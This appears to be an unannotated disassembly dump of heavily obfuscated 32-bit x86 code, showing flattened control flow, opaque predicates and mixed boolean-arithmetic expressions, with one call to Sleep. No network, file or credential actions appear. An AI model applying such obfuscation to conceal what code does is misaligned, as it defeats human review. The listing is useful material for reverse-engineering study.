cmp eax, 0x8e78f7ce
je 0x40c566
cmp eax, 0x8f51b99e
jne 0x401d70
cmp byte [ebp - 0x78], 0
mov eax, 0x900f8564
mov ecx, 0xd54b27b7
cmovne eax, ecx
jmp 0x401d70
cmp eax, 0x527f22ed
je 0x40c60c
cmp eax, 0x52bbd257
jne 0x401d70
cmp dword [ebp - 0x11c], 0
mov eax, 0x161e3268
mov ecx, 0x91ee123e
cmove eax, ecx
jmp 0x401d70
cmp eax, 0xee9adfce
je 0x40c6d4
cmp eax, 0xef620bd2
jne 0x401d70
mov eax, dword [ebp - 0x1c]
mov eax, 0x30397ba8
jmp 0x401d70
cmp eax, 0x302628ba
je 0x40c767
cmp eax, 0x30397ba8
jne 0x401d70
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x1e8], eax
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
not eax
or edx, 1
mov edi, eax
mov esi, edx
and esi, 0x9f050fcb
and edi, 0x60faf034
and eax, 0xcb1031e1
or edi, esi
mov esi, ecx
xor esi, 0xfffffffe
and esi, ecx
and ecx, 0x34efce1e
mov ebx, esi
not ebx
and esi, 0x60faf034
or eax, ecx
or edx, ebx
and ebx, 0x9f050fcb
or esi, ebx
not edx
xor esi, edi
or edx, esi
mov esi, edx
not esi
and edx, 0xcb1031e1
mov edi, esi
and edi, 0x34efce1e
or edx, edi
mov edi, 0xef620bd2
xor eax, edx
not eax
or eax, esi
mov esi, 0xc59f1c92
xor eax, 0xffffffff
sete ah
setne al
cmp dword [0x482580], 0xa
setge dl
setl ch
xor ch, al
xor al, dl
mov cl, ch
and al, ah
xor cl, dl
or dl, ah
xor al, 1
mov ah, al
or al, dl
and cl, ch
xor ah, dl
xor al, 1
or al, ah
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test al, 1
mov eax, 0xef620bd2
cmovne eax, esi
test cl, cl
cmove eax, edi
test dl, 1
cmove eax, esi
jmp 0x401d70
cmp eax, 0xa0969daa
je 0x40c881
cmp eax, 0xa0a8ee06
jne 0x401d70
mov eax, dword [ebp - 0x24]
mov dword [eax], 1
mov eax, 0x4e08a13a
jmp 0x401d70
cmp eax, 0x6e830fc9
je 0x40c96e
cmp eax, 0x6ea53776
jne 0x401d70
mov eax, dword [ebp - 0x130]
add eax, 0x38
mov dword [ebp - 0xf0], eax
mov eax, 0xf6dd7067
jmp 0x401d70
cmp eax, 0xda90c280
je 0x40ca36
cmp eax, 0xdeda2f9a
jne 0x401d70
mov eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x128]
cmp ecx, dword [eax + 0x34]
mov eax, 0x59b01009
mov ecx, 0xf4ab46a7
cmove eax, ecx
jmp 0x401d70
cmp eax, 0x1ee3ece9
je 0x40cb37
cmp eax, 0x1ef2273d
jne 0x401d70
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x1a4], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov dword [ebp - 0x1a8], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0x1ac], eax
mov eax, 0x5ec12042
jmp 0x401d70
cmp eax, 0x9645fe41
je 0x40cb41
cmp eax, 0x96e21c44
jne 0x401d70
mov eax, 0xee93a679
jmp 0x401d70
cmp eax, 0x5ec12042
je 0x40cb4b
cmp eax, 0x6000f9a2
jne 0x401d70
mov eax, 0x70344eac
jmp 0x401d70
cmp eax, 0xfd81f4d2
je 0x40cb8f
cmp eax, 0xfdf77ba0
jne 0x401d70
mov eax, dword [ebp - 0x24]
mov dword [eax], 0xd
mov eax, 0xb0565609
jmp 0x401d70
cmp eax, 0x4579b5c8
je 0x40cba2
cmp eax, 0x45b09687
jne 0x401d70
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
movzx eax, word [eax]
mov dword [ebp - 0xd0], eax
mov eax, 0xcc3c0e98
jmp 0x401d70
cmp eax, 0xb59607d8
je 0x40cbec
cmp eax, 0xb6658d81
jne 0x401d70
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov dword [ebp - 0x1e0], eax
mov eax, 0x1a5e8d86
jmp 0x401d70
cmp eax, 0x7da642ca
je 0x40cd11
cmp eax, 0x7e1d3a2f
jne 0x401d70
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ecx], eax
mov ecx, dword [0x482584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and eax, 0xca1604a
and ecx, 1
mov esi, edx
and edx, 0xf35e9fb5
and esi, 0xfffffffe
or eax, edx
or ecx, esi
mov esi, 0x3ec368f0
mov edx, eax
xor edx, 0xca1604a
xor eax, 0xf35e9fb5
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete dl
setne cl
cmp dword [0x482580], 0xa
setl ah
mov al, ah
xor cl, ah
or al, dl
xor cl, 1
xor al, 1
or al, cl
mov ecx, edx
xor cl, ah
mov dh, al
and dl, cl
and cl, ah
mov ah, dl
xor dl, cl
xor cl, 1
xor ah, 1
or cl, ah
mov ah, al
xor ah, 1
xor cl, 1
and dh, ah
or cl, dl
xor dh, 1
or dh, ah
xor dh, 1
or dh, al
mov ah, dh
and dh, cl
xor cl, 1
xor ah, 1
and ah, cl
or cl, al
or dh, ah
mov eax, ecx
xor al, dh
test cl, 1
mov ecx, 0x1ee3ece9
cmovne ecx, esi
test dh, 1
cmove ecx, esi
test al, 1
mov eax, 0x1ee3ece9
jmp 0x40a994
cmp eax, 0xcaef5581
je 0x40cd1b
cmp eax, 0xcba12f49
jne 0x401d70
mov eax, 0x301bbdcc
jmp 0x401d70
cmp eax, 0x12cee26
je 0x40cd3b
cmp eax, 0x33f9f6c
jne 0x401d70
mov eax, 0x1c74d41d
jmp 0x401d70
cmp eax, 0x85e1cc03
je 0x40cdfd
cmp eax, 0x8630f693
jne 0x401d70
mov eax, dword [ebp - 0x24]
mov dword [eax], 5
mov eax, dword [0x482584]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, edx
and eax, 0x87f0fee6
mov esi, ecx
and esi, 0x780f0118
and ecx, 0x64819a96
or eax, esi
mov esi, eax
xor esi, 0x828052a4
xor eax, 0x780f0119
mov edi, eax
and edi, 0x357cac4b
and esi, 0xca8353b4
or esi, edi
mov edi, edx
xor edi, 0xfffffffe
and edi, edx
mov ebx, edi
not ebx
and edi, 0xca8353b4
or eax, ebx
and ebx, 0x357cac4b
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov esi, eax
not esi
mov edi, eax
or eax, edx
and edx, 0x9b7e6569
and edi, 0x9b7e6569
and esi, 0x64819a96
or ecx, edx
not eax
or esi, edi
xor ecx, esi
mov esi, 0x9b620e68
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x770c9989
and ecx, 0x88f36676
or eax, ecx
xor eax, 0x770c9989
setne cl
sete al
cmp dword [0x482580], 0xa
setl dl
xor cl, dl
or al, dl
mov edx, ecx
xor al, 1
xor dl, 1
or al, dl
mov ah, dl
and ah, al
xor al, 1
and cl, al
or cl, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x67ad88d0
cmovne edx, esi
test al, 1
mov eax, 0x67ad88d0
jmp 0x40cfe5
cmp eax, 0x4d113dee
je 0x40ce07
cmp eax, 0x4d465fbb
jne 0x401d70
mov ecx, dword [0x482584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xdf1519aa
mov esi, ecx
and esi, 0x20eae655
mov edi, ecx
or edi, 0x6201243
and ecx, 0x9a2b2e99
or edx, esi
and edi, 0x46f31273
mov esi, edx
xor edx, 0x200241
xor esi, 0x98000188
or edx, 0x40d30030
and esi, 0xb800e588
and edx, 0x46f31273
or esi, edx
mov edx, eax
and edx, 0x10c0804
and eax, 0x65d4d166
or edx, edi
or eax, ecx
mov edi, 0x2338bed1
xor edx, esi
mov ecx, eax
xor ecx, 0x65d4d166
xor eax, 0x9a2b2e99
mov esi, edx
not esi
and edx, 0xbe20f7ca
and esi, 0x41df0835
or edx, esi
mov esi, 0x1975254f
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
sete cl
setne ah
cmp dword [0x482580], 0xa
setl al
setge ch
mov edx, eax
and al, ah
and ah, ch
and dl, cl
and cl, ch
or dl, ah
or al, cl
xor dl, 1
mov cl, al
or dl, ch
xor cl, 1
and al, dl
xor dl, 1
mov ah, dl
xor ah, cl
and cl, dl
or cl, al
and ah, dl
mov edx, 0x2338bed1
mov al, cl
xor al, ah
test cl, cl
cmovne edi, esi
test ah, 1
cmove edi, edx
test al, 1
cmovne edi, esi
mov eax, edi
jmp 0x401d70
cmp eax, 0xe3d13182
je 0x40cff2
cmp eax, 0xe3d23ff9
jne 0x401d70
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
add eax, 2
mov dword [ebp - 0x1c4], eax
mov eax, 0xcc7c0b2d
jmp 0x401d70
cmp eax, 0x25bc6b9a
je 0x40cffc
cmp eax, 0x26e7f5ff
jne 0x401d70
mov eax, dword [0x482584]
mov esi, 0x9ac41a06
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x12f48580
and eax, 0xed0b7a7f
or ecx, eax
mov eax, ecx
xor ecx, 0xed0b7a7e
xor eax, 0x12f48580
mov edx, eax
and ecx, 0xfffffffe
and eax, 1
and edx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x787b623c
and ecx, 0x87849dc3
or ecx, edx
xor ecx, 0x787b623c
xor eax, ecx
test eax, ecx
setne ah
sete ch
cmp dword [0x482580], 0xa
mov dh, ah
setl dl
setge cl
mov al, dl
or dh, dl
and ch, cl
xor al, ah
not al
and al, dl
and dl, ah
or dl, ch
mov ch, cl
or cl, ah
xor al, 1
xor ch, ah
xor cl, 1
mov ebx, eax
or al, dh
or cl, ch
xor bl, dh
xor al, 1
xor cl, 1
or al, bl
or cl, dl
mov edx, ecx
mov ah, cl
and ah, al
xor dl, 1
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x9431f582
cmovne ecx, esi
test al, 1
mov eax, 0x9431f582
jmp 0x401d59
cmp eax, 0x9a2abd55
je 0x40d1f5
cmp eax, 0x9ac220fe
jne 0x401d70
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov dword [ebp - 0x198], eax
mov eax, 0xa1cf38bb
jmp 0x401d70
cmp eax, 0x62bfb361
je 0x40d1ff
cmp eax, 0x6339042f
jne 0x401d70
mov eax, dword [ebp - 0x24]
mov dword [eax], 0xa
mov ecx, dword [0x482584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0xad34c928
and edx, 0x52cb36d7
or edx, esi
mov esi, ecx
not esi
and ecx, 0x52cb36d7
or eax, esi
and esi, 0xad34c928
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 0xbbeeb51
and eax, 0xddf140cc
mov ecx, esi
and esi, 0xf44114ae
or ecx, 1
or edx, esi
mov esi, ecx
and esi, 0x220ebf32
or eax, esi
mov esi, edx
xor esi, 0x9b04040
xor edx, 0xf44114af
or ecx, edx
and edx, 0x220ebf32
and esi, 0xddf140cd
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov esi, 0x5696db72
mov eax, ecx
not eax
and ecx, 0x1ee4e914
and eax, 0xe11b16eb
or ecx, eax
xor ecx, 0x1ee4e914
sete ah
setne dl
cmp dword [0x482580], 0xa
mov ch, ah
setge al
setl cl
and ch, al
inc al
and cl, dl
mov edx, eax
or al, ah
or cl, ch
xor dl, ah
xor al, 1
or al, dl
mov edx, ecx
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x87640291
jmp 0x40989e
cmp eax, 0xceb8c7b9
je 0x40d209
cmp eax, 0xcf47dd8d
jne 0x401d70
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x2a00b704
mov esi, edx
and esi, 0x40800e9
and edx, 0xb4d75f26
or ecx, esi
mov esi, ecx
xor esi, 0x8008204
xor ecx, 0xd5ff48fb
mov edi, ecx
and edi, 0x361d7d13
and esi, 0x80082ec
or esi, edi
mov edi, eax
xor edi, 0x2e08b7ed
and edi, eax
and eax, 0x4b28a0d9
mov ebx, edi
not ebx
and edi, 0xc9e282ec
or eax, edx
or ecx, ebx
and ebx, 0x361d7d13
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov edi, 0x7da642ca
mov esi, ecx
not esi
and ecx, 0xe08b7ed
and esi, 0xf1f74812
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x5badd0db
mov esi, edx
and esi, 0xa4522f24
or ecx, esi
mov esi, eax
xor esi, 0x4b2880d9
xor eax, 0xa4520f24
and eax, 0xa4522f24
and esi, 0x5badd0db
or esi, eax
xor esi, ecx
mov ecx, dword [0x482584]
xor edx, esi
test edx, esi
setne byte [ebp - 0x7b]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x1a000043
and eax, 0x45391380
mov edx, ecx
and edx, 0x800c0c
or ecx, 0xa000007
or esi, edx
and ecx, 0xaa46e037
mov edx, esi
xor edx, 0x10000040
xor esi, 0xa046e034
or eax, ecx
and esi, 0xaa46e037
and edx, 0x10800c48
or edx, esi
mov esi, 0xff1c1d73
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x1a800c4f
and ecx, 0xe57ff3b0
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 0x28278655
and edx, 0xfffffffe
and ecx, 0xd7d879aa
or eax, ecx
xor eax, 0x28278654
or eax, edx
mov ecx, eax
not ecx
and eax, 0xebcc18f1
and ecx, 0x1433e70e
or eax, ecx
mov ecx, eax
xor ecx, 0x4036500
xor eax, 0x680c0030
and eax, 0x783c823e
and ecx, 0x87c37dc1
or ecx, eax
xor ecx, 0x87c37dc1
sete dl
setne ah
cmp dword [0x482580], 0xa
setl cl
setge al
and dl, al
or al, ah
and cl, ah
xor al, 1
or cl, dl
xor cl, al
mov edx, ecx
xor dl, 1
and al, dl
xor dl, al
mov edx, 0x7da642ca
cmovne edx, esi
test cl, cl
mov ecx, edx
cmovne ecx, edi
test al, al
jmp 0x408459
cmp eax, 0x194a0315
je 0x40d3e8
cmp eax, 0x1975254f
jne 0x401d70
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x482584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xaf669c4e
and eax, 0x40000c10
mov edx, ecx
and edx, 0x509963b1
or ecx, 0x47810c
or esi, edx
and ecx, 0x8a4fc18d
mov edx, esi
xor esi, 0x10100
xor edx, 0x25201042
or eax, ecx
or esi, 0x8a084081
and edx, 0x35b03262
and esi, 0x8a4fc18d
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x35f7b36e
and ecx, 0xca084c91
or eax, ecx
mov edx, eax
xor edx, 1
mov ecx, eax
not ecx
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0xb11af235
mov esi, ecx
and esi, 0x4ee50dca
or edx, esi
mov esi, eax
not esi
and eax, 0xb11af235
or ecx, esi
and esi, 0x4ee50dca
or eax, esi
not ecx
mov esi, 0x2338bed1
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x801320a7
and eax, 0x7fecdf58
or ecx, eax
mov eax, ecx
xor eax, 0x80110005
xor ecx, 0x59a88650
and ecx, 0x59aaa6f2
and eax, 0xa655590d
or eax, ecx
mov ecx, eax
xor ecx, 0x22155008
xor eax, 0x18a284e2
and eax, 0x9ce28de7
and ecx, 0x631d7218
or ecx, eax
xor ecx, 0x631d7218
setne dl
sete ah
cmp dword [0x482580], 0xa
mov ch, dl
setl al
setge cl
and ch, cl
and al, ah
xor dl, cl
or al, ch
and dl, ah
xor al, 1
or al, cl
or cl, ah
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
or dl, cl
mov ecx, 0x57fd2ec1
xor dl, 1
or dl, ah
or ah, al
xor dl, al
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test ah, ah
mov eax, 0x57fd2ec1
jmp 0x401d59
cmp eax, 0x926f5afb
je 0x40d3fe
cmp eax, 0x927941be
jne 0x401d70
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
mov dword [eax], 0
mov eax, 0x503c6a0b
jmp 0x401d70
cmp eax, 0x56bc81f6
je 0x401c4a
cmp eax, 0x579c4580
jne 0x401d70
mov eax, 0xf4ab46a7
jmp 0x401d70
cmp eax, 0xf2c2b88c
je 0x40d41a
cmp eax, 0xf33b884e
jne 0x401d70
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x56b3ff73
mov edx, ecx
and edx, 0x50823a60
and eax, ecx
not ecx
and ecx, 0x631c513
or edx, ecx
xor edx, 0x50823a60
or eax, edx
mov ecx, eax
not ecx
and eax, 0xe36b3969
and ecx, 0x1c94c696
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x4a2739e5
xor ecx, 0xb5d8c61a
xor eax, 0x822df91c
mov esi, edx
and eax, ecx
and esi, 0x37f53f06
or edx, 1
and ecx, 0x1d13c8e
or eax, esi
mov esi, eax
not esi
and eax, 0xfa3518f3
and esi, 0x5cae70c
or eax, esi
mov esi, eax
xor esi, 0x1c02484
xor eax, 0x323fd80b
mov edi, eax
or eax, edx
and edx, 0xfe2ec370
and edi, 0xfe2ec370
and esi, 0x1d13c8f
or esi, edi
or ecx, edx
not eax
xor ecx, esi
mov esi, 0xf17766fe
or eax, ecx
mov edx, eax
xor edx, 0x914524
mov ecx, eax
and ecx, 0x900520
and edx, eax
not eax
and eax, 0x14004
or ecx, eax
xor ecx, 0x900520
or ecx, edx
not edx
and edx, 0xff6ebadb
and ecx, 0x914524
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xb9f4707c
mov edx, eax
and edx, 0x460b8f83
or ecx, edx
xor ecx, 0xb9f4707c
or ecx, eax
xor ecx, 0xffffffff
setne dl
sete ah
cmp dword [0x482580], 0xa
mov ch, dl
setl al
setge cl
or dl, al
and ch, cl
and al, ah
or al, ch
xor dl, 1
xor al, 1
or al, cl
or cl, ah
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
or dl, cl
mov ecx, 0x1d745090
xor dl, 1
or dl, ah
or ah, al
xor dl, al
mov al, ah
xor al, dl
test ah, ah
cmovne ecx, esi
test dl, 1
cmove ecx, esi
test al, 1
mov eax, 0x1d745090
jmp 0x40a994
cmp eax, 0x391bb2e8
je 0x40d430
cmp eax, 0x3a879465
jne 0x401d70
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
mov edx, ecx
xor edx, 0x749406f3
mov eax, ecx
and eax, 0x60900452
and edx, ecx
not ecx
and ecx, 0x140402a1
or eax, ecx
xor eax, 0x60900452
or eax, edx
not edx
and edx, 0x8b6bf90c
and eax, 0x749406f3
or eax, edx
mov edx, eax
xor edx, 0x4788394
mov ecx, eax
and ecx, 0x2e10b1a4
and edx, eax
not eax
and eax, 0xd1ef4e5b
or ecx, eax
mov eax, ecx
xor eax, 0x2e10b1a4
xor ecx, 0x406e4650
mov esi, eax
and esi, 0x4788394
and ecx, 0x6c6ee770
or edx, esi
mov esi, edx
not esi
and edx, 0x1fe1cdd2
and esi, 0xe01e322d
or edx, esi
mov esi, eax
and esi, 0x9391188f
and eax, 0x40000000
or esi, ecx
xor edx, 0x5b994e46
xor esi, 0x2c6ee770
or eax, esi
not eax
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x44048640
and eax, 0x1313004
mov edx, ecx
or edx, 0x30c04119
and esi, 0x74c4c759
and ecx, 0x8a0a08a2
and edx, 0x74c4c759
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x99db08ef
and ecx, 0x6624f710
or eax, ecx
cmp eax, 0x23114154
mov eax, 0x7d34f842
setne byte [ebp - 0x7c]
jmp 0x401d70
cmp eax, 0xa91f0f38
je 0x40d5be
cmp eax, 0xaa53d975
jne 0x401d70
mov eax, 0x72ea2e8c
jmp 0x401d70
mov eax, dword [ebp - 0x1c]
mov dword [eax], 1
mov eax, 0xc3eff44b
jmp 0x401d70
mov eax, dword [ebp - 0x24]
mov dword [eax], 0x10
mov eax, 0x21eb3482
jmp 0x401d70
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x174], eax
mov eax, dword [ebp - 0x40]
mov ecx, dword [0x482584]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x178], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 0x6d75ac6f
mov edi, edx
mov esi, ecx
and esi, 0xd0586467
and edi, 0x2821390
and edx, 0x19f7db74
or edi, esi
mov esi, eax
xor esi, 0x928a5390
and esi, eax
and eax, 0xe608248b
mov ebx, esi
not ebx
and esi, 0x2fa79b98
or eax, edx
or ecx, ebx
and ebx, 0xd0586467
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x4b56bda6
and esi, 0xb4a94259
or ecx, esi
mov esi, ecx
xor ecx, 0x20230000
xor esi, 0xd9dcee37
mov edx, esi
and edx, 0x4f805de8
and ecx, 0xb07fa217
or ecx, edx
mov edx, eax
xor edx, 0xa0082003
xor eax, 0x19f7db74
or esi, eax
and eax, 0x4f805de8
and edx, 0xb07fa217
or edx, eax
not esi
xor edx, ecx
or esi, edx
xor esi, 0xffffffff
mov esi, 0x3305e03f
sete al
setne cl
cmp dword [0x482580], 0xa
setl ah
setge dl
inc cl
mov ch, ah
xor ch, al
or al, ah
and al, ch
mov ch, dl
xor ch, cl
xor cl, ah
xor al, 1
and ch, dl
or cl, ch
mov ah, cl
mov edx, ecx
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x6f50ed1c
cmovne ecx, esi
test al, 1
mov eax, 0x6f50ed1c
jmp 0x401d59
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
cmp ecx, dword [eax]
mov eax, 0x9c2c6856
setne byte [ebp - 0x74]
jmp 0x401d70
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x144], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov dword [ebp - 0x148], eax
mov eax, 0x33190e2b
jmp 0x401d70
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
or edx, 0x2040c00
not eax
and ecx, 0xa000c098
mov esi, eax
and edx, 0x6e61e43
and esi, 0x59192124
or esi, edx
mov edx, eax
or edx, 0x4e21243
and edx, 0x6e61e43
or ecx, edx
xor ecx, esi
mov esi, 0xa8d96277
mov edx, ecx
not edx
and ecx, 0x2852afa1
and edx, 0xd7ad505e
or ecx, edx
mov edx, ecx
xor edx, 0x30011c06
xor ecx, 0x80144218
and ecx, 0xc5bcc2d9
and edx, 0x3a433d26
or edx, ecx
xor edx, 0x3a433d26
or edx, eax
xor edx, 0xffffffff
setne ch
sete al
cmp dword [0x482580], 0xa
mov ah, ch
setge dl
setl cl
xor ah, dl
or cl, al
and ch, ah
and dl, ah
not cl
xor ch, 1
xor dl, 1
or cl, ah
mov eax, 0x918a2fc
mov dh, ch
xor dh, dl
or dl, ch
xor dl, 1
or dl, dh
xor cl, dl
and cl, 1
cmovne esi, eax
test cl, dl
mov eax, 0xa8d96277
cmovne esi, eax
test cl, cl
cmovne eax, esi
test cl, dl
cmove eax, esi
jmp 0x401d70
mov eax, dword [ebp - 0x118]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
vmovsd xmm0, qword [eax + 0xa0]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 4]
mov dword [ebp - 0x11c], eax
mov eax, 0x52bbd257
jmp 0x401d70
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
add eax, 2
mov dword [ebp - 0x190], eax
mov eax, 0x5e799d9d
jmp 0x401d70
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
or edx, 0x22188a20
mov esi, eax
mov edi, eax
or esi, 0x4043001a
and edx, 0x625b8a3a
and edi, 0x808460c5
and eax, 0x8fcb31f0
or edi, edx
mov edx, ecx
and esi, 0x625b8a3a
and edx, 0x1d201500
or edx, esi
xor edx, edi
mov esi, edx
not esi
and edx, 0xc0c760de
and esi, 0x3f389f21
or edx, esi
mov esi, edx
not esi
and edx, 0xdb5a291e
and esi, 0x24a5d6e1
or edx, esi
mov esi, edx
xor esi, 0x8b4a2110
xor edx, 0x24a5d6e1
mov edi, edx
or edx, ecx
and ecx, 0x7034ce0f
and edi, 0x7034ce0f
and esi, 0x8fcb31f0
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0xe46e80de
or edx, eax
xor edx, 0xffffffff
sete ch
setne cl
cmp dword [0x482580], 0xa
setge al
setl ah
mov edx, eax
and al, ch
xor dl, cl
and cl, ah
or ah, ch
xor ah, 1
or al, cl
or ah, dl
mov dh, al
mov ecx, eax
mov dl, ah
xor dh, 1
xor dl, 1
and cl, dh
mov ch, dl
xor cl, 1
and ch, ah
xor ch, 1
or ch, ah
mov ah, cl
or cl, dh
xor ah, dh
xor cl, 1
xor ch, 1
or cl, ah
mov ah, dl
or ch, dl
xor ah, al
or al, dl
xor cl, ch
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x2bb6ee81
cmovne edx, esi
test al, 1
mov eax, 0x2bb6ee81
jmp 0x40a409
mov eax, 0xb594c7d8
jmp 0x401d70
mov eax, 0x34e88f50
jmp 0x401d70
mov eax, dword [ebp - 0xf4]
add eax, 0x18
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, 0x14
mov dword [ebp - 0x138], eax
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 1
and ecx, 0x8e6ae0e1
mov esi, eax
and esi, 0xfffffffe
and eax, 0x71951f1e
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x71951f1e
mov edi, esi
and edi, 0x8e6ae0e1
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0x61c8923f
setne al
cmp dword [0x482580], 0xa
setl ah
setge dl
xor ah, al
xor al, dl
mov cl, ah
xor cl, dl
mov edx, eax
and cl, ah
xor dl, 1
mov ah, cl
and cl, dl
xor ah, 1
and al, ah
or ah, dl
mov edx, 0xe9b79d38
or cl, al
mov al, ah
xor al, cl
cmovne edx, esi
test ah, ah
mov eax, 0xe9b79d38
jmp 0x40cfe5
mov eax, dword [ebp - 0x17c]
mov ecx, dword [ebp - 0x44]
mov dword [ecx], eax
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
mov dword [eax], 0
mov eax, 0xf903aa61
jmp 0x401d70
mov eax, 0x1e3d820b
jmp 0x401d70
mov eax, 0x7cfdc184
jmp 0x401d70
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0xd8], eax
mov eax, 0xb48ac8e1
jmp 0x401d70
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x1382fbdb
and eax, 0xec7d0424
or eax, ecx
mov esi, eax
mov ecx, eax
xor ecx, 0xec7d0424
xor esi, 0x1382fbdb
xor eax, 0x8666972
mov edx, ecx
and eax, esi
and edx, 0x1be492a9
and esi, 0xcf25ded0
and ecx, 0x30da212e
or eax, edx
or ecx, esi
mov edx, eax
not edx
and eax, 0x20870501
and edx, 0xdf78fafe
or eax, edx
mov edx, eax
xor edx, 0x3a4102a9
xor eax, 0xc49c6856
mov esi, eax
and esi, 0x412abd42
and edx, 0xbed542bd
or edx, esi
mov esi, ecx
xor esi, 0x30d0002c
xor ecx, 0xcf25ded1
or eax, ecx
and ecx, 0x412abd42
and esi, 0xbed542bc
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x4d9ed1a0
mov ecx, eax
not ecx
and eax, 0x9d12b79f
and ecx, 0x62ed4860
or eax, ecx
mov ecx, eax
